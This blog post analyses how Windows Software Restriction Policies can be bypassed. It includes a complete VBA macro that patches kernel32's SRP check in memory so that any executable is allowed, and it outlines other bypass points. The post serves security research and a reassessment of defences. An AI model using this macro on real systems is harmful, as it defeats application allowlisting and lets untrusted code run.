Update: ok, SRP is even more broken than I thought. As one of the readers pointed out (thank you Anonymous!), there is a built-in (albeit only partially documented) option on runas which circumvents SRP.
For some time now there has been a friendly back-and-forth between Didier Stevens and myself with regards to the topic of Software Restrictions Policies:
- I’ve written a post recommending SRP (Software Restriction Policies as a solution to seecure computers
- Based on some research done by Mark Russinovich Didier came up with a different (easier to implement) method to circumvent SRP. The gist of the matter is that the checking of SRP is done in user mode in the process which issued the CreateProcess/LoadLibrary call. This means that the current process can patch itself so that SRP isn’t correctly verified. Mark did this by intercepting reads to the Registry (where SRP policies are stored) and returning fake results, Didier did this by searching the registry key names and replacing them with bogus ones (so registry reads would fail).
After this Didier took the whole thing in a different direction (and I want to credit him for coming up with the idea), and researching the question “what is executable code”? Remember that the first immutable rule of security is “If a bad guy can persuade you to run his program (code) on your computer, it’s not your computer anymore”. So he compiled the executable in a DLL and used VBA (Visual Basic for Applications – the macro language for Word/Excel/etc) to drop the file on the filesystem and load (execute it). The point was that even if the attacker didn’t give you a classic “executable”, you’d still run code for him.
This is bad, very bad, because it just means that the notion “executable code” got expanded to include all file formats which include a macro language. This means HTML, all the Office document formats, Corel products, Autodesk products, etc (to get some idea of the products check out the Visual Basic for Applications Licensing Partners site – and these are just the ones who use VBA – Autodesk for example uses some Lisp variant AFAIK). Some of these programs include facilities to disable execution of macros, but other may not. Even the ones which include such features, probably they are not configured the safest way (deny all) by default. Very bad.
- The previous method still got blocked by the configuration described by me, however it pointed the way towards the next step: patching the executable entirely from VBA, without using external components. Alternatively you can write location independent code and launch it inside of the process.
So what remains there to be said? In what follows I will give two alternatives to bypass SRP and summarize the possible attack points against it. I will update my original article with a pointer so that people will have a more clear picture of the situation.
Alternative bypass 1: patching the routine which does the actual checking. Given that this is in-process, we don’t need any special privileges to do it. The hardcoded address is for my system (Windows XP SP3), so for this to work reliably on all versions of Windows, a more elaborate way of determining the procedure address is needed (however this is not very hard to implement).
Const SW_SHOW = 5 Const PAGE_EXECUTE_WRITECOPY = &H80 Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Declare Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Sub TestSRP() '$7C819805h Dim mem(11) As Byte Dim memAddr As Long Dim functionAddr As Long Dim oldProtect As Long functionAddr = &H7C819805 memAddr = VarPtr(mem(0)) Call CopyMemory(ByVal memAddr, ByVal functionAddr, 11) '8B FF mov edi, edi '55 push ebp '8B EC mov ebp, esp '81 EC D8 01 00 00 sub esp, 1D8h If &H8B = mem(0) And &HFF = mem(1) And &H55 = mem(2) And &H8B = mem(3) And &HEC = mem(4) _ And &H81 = mem(5) And &HEC = mem(6) And &HD8 = mem(7) And &H1 = mem(8) _ And &H0 = mem(9) And &H0 = mem(10) Then Call VirtualProtect(ByVal functionAddr, 11, PAGE_EXECUTE_WRITECOPY, oldProtect) 'B8 00 00 00 00 mov eax, 0 'C2 18 00 ret 18h '90 90 90 nop nop nop mem(0) = &HB8: mem(1) = &H0: mem(2) = &H0: mem(3) = &H0: mem(4) = &H0: mem(5) = &HC2 mem(6) = &H18: mem(7) = &H0: mem(8) = &H90: mem(9) = &H90: mem(10) = &H90 Call CopyMemory(ByVal functionAddr, ByVal memAddr, 11) Call VirtualProtect(ByVal functionAddr, 11, oldProtect, oldProtect) Else MsgBox "Signature not found!" End If Call ShellExecute(0, "open", "e:logsnotepad.exe", "", "", SW_SHOW) End Sub
The code patches the routine “BasepCheckWinSaferRestrictions” from kernel32.dll, the one used to verify SRP restrictions when calling the CreateProcess* family of functions (apparently Microsoft refers to SRP as “Safer”), to always return 0 (which means allowed).
Actually the Windows Internals book (which is a great resource if you are interested in doing any low-level work) states (in chapter 8 – security) that the enforcement of SRP is done in different locations depending on the action you are trying to perform:
- If you are trying to launch a process via CreateProcess*, it is done in kernel32.dll
- If you are trying to load a DLL, it is done in ntdll.dll (in the undocumented function “LdrpCodeAuthzCheckDllAllowed”)
- If you are trying to run a batch file, it is done by cmd.exe
- If you are trying to run a script, it is done in cscript.exe (for command-line scripts), in wscript.exe (for UI scripts) or in scrobj.dll (for script objects – I assume this means for applications embedding the WSH)
This means that other patches need to be performed, based on the situation at hand.
Alternative bypass 2: I found this document in the Google Cache suggesting to use NtCreateProcess, which is a step down from CreateProcess*, and it assumes that the checks for SRP have already been performed. Reading the disassembly of kernel32.dll/ntdll.dll I concluded that this method would certainly work, however I didn’t write code for it, because it would have needed to import a ton of undocumented API’s. If somebody is interested, a good starting point would be the ReactOS implementation of CreateProcessInternalW.
The advantage of this code is that it is very portable across Windows versions and it is very easy to implement. In fact it is portable between programs! I found that OpenOffice 2.4 and later has a BASIC implementation which sufficiently close to the one use by Winword so that one can write portable macros!
Conclusions about SRP:
Software Restrictions Policies provide a much lower assurance than I previously assumed. They can be easily bypassed by users, even with the lowest privilege level.
The bypass can be performed directly from x86 code (for example by exploiting a running process and executing shellcode in it) or from scripting languages which offer access to the Win32 API (such as the MS Office macros).
However SRP still provides a strong protection against non-targeted attacks. This is because 99.9999% of the attackers aren’t expecting for it to be activated or necessarily know how to circumvent it. This is security by diversity. It is not 100% conceptually correct, however in practice it works very good.